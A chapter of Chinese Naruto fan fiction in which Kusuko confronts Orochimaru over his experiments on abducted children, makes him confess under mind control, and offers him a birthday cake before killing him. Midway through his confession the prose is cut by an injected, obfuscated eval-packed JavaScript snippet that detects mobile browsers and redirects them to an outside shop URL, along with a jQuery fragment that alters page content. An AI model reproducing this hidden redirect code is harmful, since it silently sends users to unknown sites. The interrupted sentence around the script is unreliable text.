海风吹过礁石的缝隙,带出细碎的呜咽声响。
楠子站在了礁石的另外一侧,看着高大的岩壁,对着身后的琥珀说:“接下来的事就由我来处理,你不必跟上。”
“……”
楠子没期待对方的回应,随即敛去了身上所有外露的气息。
真是意外,方才与琥珀的对话,反而让楠子有拨云见日之感。
她一路上动作迟缓,甚至没有使用各种超能力去解决这件事,说不定正是因为她心里对杀死师父这件事的抵触。
可是不行了,如果大蛇丸只是想伤害她的话,她倒是也无所谓。
但这件事已经牵扯到了海之国,还牵扯到了那些被他拐走,不知道去做什么了的童男童女,甚至现在也已经有事主找了上来。
那她就不可能再装聋作哑,当做什么都没有发生。
‘所以快点结束吧。’楠子心里想着。
潮湿的水汽沾在衣料上,带着刺骨的凉。
她抬首看去,终于使用异能直视了这处基地的内部结构。
岩壁各处嵌着隐秘的摄像头,镜头角度刁钻,几乎覆盖了所有进出路径,还有数条细蛇贴在石缝间蛰伏,吐着细微的信子,感知着周遭的查克拉波动。
‘呀嘞呀嘞,防备还真是严密呢。’只是对她没用。
眼角微动,摄像头像是被电流击中,一个一个发出“砰”的一声,接连不断地报废。
没了摄像头,她再也无所顾忌,沿着洞穴的轨迹走了进去。
洞窟深处隐约传来机械的低鸣,细微、冰冷,带着独属于无机物的冰冷感,让她又想起了大蛇丸。
这位师父其实一向理智,连偶尔的搞笑,也只是无关痛痒的调解。
就像他的脑海里时不时就会嘲笑团藏,偶尔也会连带着三代一起,更多的则是对于其他忍者的不屑。
这样一个人,踏入邪恶之路,似乎也是应该的。
‘所以我没错。’楠子垂下眼帘,脚步没有一丝迟疑,却感觉自己像是去谋杀,或者参加一个根本不欢迎她的葬礼。
踏入洞窟内部的那一刻,惨白的灯光骤然铺满眼帘,几乎刺得人眼睛发疼。
这里是一处设备齐全的地下研究所。
整齐排列的精密仪器反射着冷光,管线沿着岩壁蜿蜒排布,密密麻麻,如同克苏鲁神话中的诡异洞穴,将整片洞窟织成一张冰冷的网。
地面干净得过分,没有半点尘土,唯独空气里飘着一股淡淡的腥甜,混杂着各种试剂的气息,让人几欲作呕。
可是,更加令人作呕的,反而是眼前的景象。
接近两米的巨大玻璃容器一排接着一排,如同串联线路。
透明的容器中能够轻易看到盛放的“怪物”。
啊……那些应该都不是怪物,而是有着怪物特征的少男少女。
鱼鳞、鱼鳞、尖牙、利齿……这些“生物”没有一丝美感可言,也根本看不出厉害之处。
这项技术唯一可称道的,大概就是它在生物多样性上,所做出的贡献吧。
‘所以,师父在做什么呢?’
做出这样令人恶心的实验,结果成果就只有这些吗?
这让同样身为研究者的她都几乎想要发笑了啊。
为了这根本没有任何作用的实验,就牺牲一个个活生生的人,掳走他们,献祭他们,让他们无声地消失在这世间,或者,成为怪物。
这是多么悲哀啊,因为身为一个“人”,根本不应该去随意决定一个人的死亡。
‘啊……幸好我有这样的力量。’还来得及拨乱反正。
楠子不自觉地深呼吸,走近了这一个个实验皿,脑海中都仿若传出了他们的哀嚎。
她随手拿过一份实验记录翻看,知识和实验过程像是水流般涌入了她的大脑。
大蛇丸所研究的,居然不是人体改造技术,而是通过咒印,以基因牵引,激发忍者身体变异,从而达到提升战力的效果。
楠子站在空旷冰冷的研究所里,忽然觉得有些可笑。
‘这样的提升,已经不可称之为人,几乎改变了外貌、种族,让人分辨不清,忘却了来时的路,又有什么意义呢?’
她一路过来,还在纠结是否应该由她来杀死大蛇丸,结束这一切。
但是现在看来,竟然是她来晚了吗?
‘是啊,我不能改变海之国所遭遇的所有苦难,但是区区一个大蛇丸,难道不能由我来拔除吗?’
在天秤的一端放下了最后一枚重重的筹码,她忽而觉得有些轻松,身后有脚步声传来,她没有回头去看。
因为她知道来者是谁。
轻缓的笑声散漫又阴柔,那正是不再伪装的大蛇丸。
“呵,看来,我的好徒弟,终于发现我在做什么了啊。”
“是啊。”楠子语气平淡,“我也是才发现,自己原本自视甚高的师父,居然一点才能都没有呢。”
楠子不必回头都能看到大蛇丸骤然扭曲的脸。
诚然,大蛇丸是普遍意义上的天才,可天才也分很多种。
比如波风水门,虽非名门出身,却能快速理解忍术,体术也颇为精通;也有像大蛇丸这样精通各类忍术、深谙研究之道的忍者;更有旗木卡卡西这类能迅速掌握多种忍术、熟悉战斗节奏的忍者。
但只要是人,就有上限。
如果不承认这一点,便会走入疯魔之道,就如同现在的大蛇丸一样。
楠子转过身,一寸一寸看着大蛇丸此刻扭曲的脸。
在她眼中,原本还有几分儒雅的面庞,显得令人憎恶而可怖,金色的蛇瞳里散发着野兽般疯狂的光芒,露出嘲讽笑容的嘴角,此刻也扭曲变形,如同深夜的鬼魅在地狱里向上抬手。
‘真是丑陋啊。’她想,而后看见大蛇丸的眼角狠狠一跳。
“啊,不对,是我将心中所想说出了口吗?”楠子故作诧异,“真是不好意思呀,大蛇丸师父。不过我想现在如同怪物一般的你,应该也没有资格再被我称为师父了。”
“怪物?你知道你在说什么吗?”大蛇丸金色的兽瞳盯着楠子冰冷的脸,努力让语气显得平淡,“比起我来,你更像是一个怪物吧?”
“这得看关于怪物的定义吧?”楠子的声音很轻,听不出情绪,却比冰凉的海水更冷,“只要拥有人心,便可称之为人,而将孩童、渔民、失踪的忍者当做实验材料的你,残杀同类,比我更像是怪物。”
她的声音很平静,根本不像是个才发现自己的师父在做禁忌实验的少女。
大蛇丸感觉到了那股平静下的自信与认真,像是早已对他盖棺定论,认定他会败在她的手上。
‘呵,怎么可能?’他好歹是三忍之一,连在师父猿飞日斩的手中都有自信逃脱,而面前的楠子只不过是一个,是一个……哎呀,他竟然真的没法定义楠子究竟是什么。
手指有些僵硬,大蛇丸努力让自己露出微笑,“楠子,你知道海之国之前是什么样子吗?常年风浪不止,资源贫瘠,没有忍者村庇护,没有大国愿意管辖,这里的人从出生开始,就活在随时会死去的恐惧里。
“他们没有自保的力量,哪怕是流浪忍者,也能轻易地从他们的手中夺去一切!而我,只要他们付出那么小小的一点!”
他猛地伸出手,比划出一个微小的姿势,语气带着激动与蛊惑。
“弱者可没有选择命运的资格,只能顺应环境,这就是忍界的规则。
“没有我!他们迟早会死于风浪,死于饥荒,死于战乱。与其白白死掉,不如由我来使用,用少数人的消亡,换未来更多人的存续,惠及这里的人,也惠及那些没有天赋的忍者!”
他慷慨激昂,像是说着世间真理,连空气都为他所震颤。
可是在大蛇丸的眼中,楠子不知为何,那深紫色的眼睛似是看着他,又似是没有在看他,只是轻轻巧巧吐出了一个“哦”。
大蛇丸的心猛地向下沉。
他知道这代表着什么,这代表着楠子已经不准备再听他任何的理论,已经做下了决定。
“对了,大蛇丸师父。你还记得,今天是几号吗?”
“嗯?”大蛇丸万万没有想到,此时此刻楠子居然会说起这个。
楠子似是注意到了他的诧异,点了点头,肯定道:“是10月27日。”
‘10月27日……这、这是……’大蛇丸的瞳孔猛缩。
对面的女孩点了点头,认真说:“其实,我想,至少应该让你过完这一年的生日,毕竟,你能活这么久,也是难得。这样好了,我现在就拿出一个蛋糕,你把蜡烛吹掉,算我给你的生日礼物,而后……就由我来杀死你,如何?”
冰冷的话语,一字一句落在空气里,让大蛇丸几乎有种窒息的感觉。
这么多年过去,他早已不是会期待父母给自己过生日的孩童,却没想到楠子居然还记得这个日子。
而对方此刻的话语,似乎也宣告了对方杀掉自己的决心。
偏偏大蛇丸此刻也有些怀疑自己是否真的能抵挡,尤其是看到对方的手中居然真的出现了一个蛋糕的时候。
‘这是什么忍术?居然不用结印?啧……真是厉害的血继限界啊。’大蛇丸的身体越发紧绷,楠子似是没有发现。
“啊……对了。”楠子似乎是纯然的疑问,“你究竟是什么时候,发现我的异常的?”
‘呵……我怎么可能会告诉你?’大蛇丸正想着,嘴巴竟然不由自主的动了起来,“呵!当然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762836|202822||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是因为你的第一次任务!你还记得野野村翠吗?”
野野村翠,是楠子一次任务时的队友,那个时候,野野村翠背叛了木叶,想要杀死奈良鹿行,差点得手。
楠子有些恍然,“他是你的手下?”可为什么当初她的读心什么都读不到?
“不。”大蛇丸的神情彻底冷了下来,他不想要回应,嘴巴却依旧在说,“是我将我的意识投射在了他的身上。”
“可是你瞒过了我。”
“你傻了吧?哈哈哈,只要用催眠术将所有的一切忘记,真心实意地认为自己就是那个人,就可以瞒过你……”大蛇丸说着,一巴掌打在自己的脸上,舌尖咬出了血,强制让自己不再说话。
“哦。”楠子只是望着她的师父做出这幅傻样,笑出了声,“这么简单吗?我早该想到的。不过,这也没办法,我还没接触过这样卑劣的人呢。”
“是啊是啊,你还根本没发现,那条大海蛇也是我放出来的!哼!本来想要用那笔钱来做实验资金,但是没想到居然栽在了你和卡卡西的手中。哈哈哈,你这个傻瓜,明明优势大好,却在看见鹿行和卡卡西有危险的时候,收了手,还心慈手软地放跑了那只大海蛇!不然你早就该发现是我在搞鬼!”
说完这些,大蛇丸的面容已经是一片惨白。
楠子满目欣赏地点头。“可真是厉害啊。可是,为什么呢?”
大蛇丸的目光已然有些迷乱,薄薄的唇因为鲜血而变得通红,更是如鬼似魅。
“因为,我要长生。”
“长生?”
“是的!”他的语气忽而激昂,“你还小!楠子,你根本没有感受过被时间追赶的感觉!曾几何时,波风水门那个家伙,根本不是我的对手!但是现在,你看看他,风华正茂,连儿子都生出来啦,哈哈哈!
“当然,那种庸人,只会得意一时,他总会死的,像是三代一样,手脚变得苍老,连老人斑都掩饰不住,还有、还有自来也,他和我差不多大,居然已经成了那副丑样子……”
“够了。师父……”
“楠子,你不明白……”
“我说,够·了。”楠子目光复杂,撑起了嘴角,“师父,我不知道,你居然有所谓的‘容貌’焦虑。”
她的话语让大蛇丸的话语猛地一顿,就见他那可爱又美丽的徒弟抬起了手按着那眉心,而后,一点一点地抬起眼来。
她紫色的眼眸穿过了手指的缝隙,看着对面的大蛇丸,原本挑起的嘴角却逐渐下落。
大蛇丸,她的师父。
现在不过四十来许,按照三代那样的岁数,实际上还有许多年好活。
她实在搞不清楚,他为什么不肯体面地老去。
楠子望着他那苍白如雪的面容,又想起了曾经相处的点滴。
虽然没有表露出许多,但他确实曾经真心教导过自己。
她的目光又落在了另外一只手上的蛋糕之上。
白色的蛋糕胚上,画着精致的蛇形。
比他的“祖宗”万蛇可要威猛许多,原本,她是准备将它送给他的——如果他通过她的测试的话。
为了不让对方感到介怀,她甚至没在上面写上年纪,可谁曾想,一个四十多的老男人,居然会真的介意年龄和衰老这回事啊?不如你去研发化妆品呢?
楠子感觉自己的心像是被分割成两半,一半想要对大蛇丸阴阳怪气,另一半却告诫自己要冷静。
自己的师父已然失去了格调,以后她可就是三忍大蛇丸派的顶梁柱了啊!怎么能没有身为根组织Boss的格调呢?
嘴角动了动,她的话语如同叹息:“师父,你还记得,我曾经在甜品店打工吧?”
“啊,如果你说的是,穿着可笑的裙子,站在店门口面无表情地恐吓路人的话。”
‘干嘛要在这个时候说实话?’楠子深深看了眼自己现在还有闲心说笑话的师父,努力把剧情拉回正剧。
“这个蛋糕是我亲手做的,当然,它的时间永远停留在了我做好的那一刻。”
楠子的目光淡然,可就在两人的眼前,那蛋糕上面的黑色蛇纹仰起了头,化作了一根黑色的蛇纹蜡烛。
大蛇丸眼见着那蛇口微微张开,露出猩红的舌头,一对黄玉似的眼睛一瞬不瞬地盯着他看,竟然让他感觉有些熟悉,仿佛是……自己经常在镜子里看到的那样。
就在他怔愣的时候,火焰刺啦一声燃响,蜡烛点燃。
楠子端着蛋糕一步一步走到了无法动弹的大蛇丸的面前,捧起了蛋糕。
“现在,我可没有心情唱生日歌了。但是……”
她努力露出了一个笑容,眼睛眯起,如同新月一般,透露出了美好的祈愿。
“来吹蜡烛吧,师父。”